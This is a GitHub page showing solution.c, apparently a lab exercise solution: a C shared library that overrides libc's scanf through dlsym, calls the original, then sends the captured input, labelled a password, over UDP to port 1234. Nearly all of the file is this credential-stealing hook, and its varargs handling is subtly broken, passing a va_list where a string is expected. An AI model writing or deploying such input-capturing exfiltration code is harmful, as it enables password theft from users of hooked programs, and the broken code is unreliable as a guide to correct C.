-
Notifications
You must be signed in to change notification settings - Fork 0
/
solution.c
73 lines (55 loc) · 1.33 KB
/
solution.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stdio.h>
#include <stdarg.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#define OBJ_PATH "/lib/x86_64-linux-gnu/libc.so.6"
#define BUF_SIZE 60
#define PORT 1234
#define MAXLINE 1024
int scanf(const char * format, ...);
typedef int (*sym)(const char *, ...);
void* handle;
static void myinit() __attribute__((constructor));
static void mydest() __attribute__((destructor));
void sendPassword(char* pass);
void myinit()
{
handle = dlopen(OBJ_PATH, RTLD_LAZY);
}
void mydest()
{
dlclose(handle);
}
int scanf(const char * format, ...)
{
sym orig_scanf;
orig_scanf = (sym)dlsym(handle, "scanf");
va_list arg;
va_start(arg, format);
int val = orig_scanf(format, arg);
sendPassword(arg);
return val;
}
void sendPassword(char* pass) {
int sockfd;
struct sockaddr_in servaddr;
// Creating socket file descriptor
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0 ) {
return;
}
memset(&servaddr, 0, sizeof(servaddr));
// Filling server information
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(PORT);
servaddr.sin_addr.s_addr = INADDR_ANY;
sendto(sockfd, pass, strlen(pass),
MSG_CONFIRM, (const struct sockaddr *) &servaddr,
sizeof(servaddr));
close(sockfd);
}